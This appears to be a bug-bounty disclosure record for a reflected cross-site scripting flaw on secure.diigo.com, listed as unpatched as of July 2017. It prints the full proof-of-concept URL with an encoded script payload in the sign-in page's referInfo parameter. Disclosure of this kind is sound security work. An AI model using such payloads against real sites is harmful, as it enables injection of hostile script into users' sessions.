secure.diigo.com XSS vulnerability

Vulnerable URL: https://secure.diigo.com/sign-in?referInfo=%27%22--!%3E%3CScript%20/K/%3EconfirmOPENBUGBOUNTY%3C/Script%20/K/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...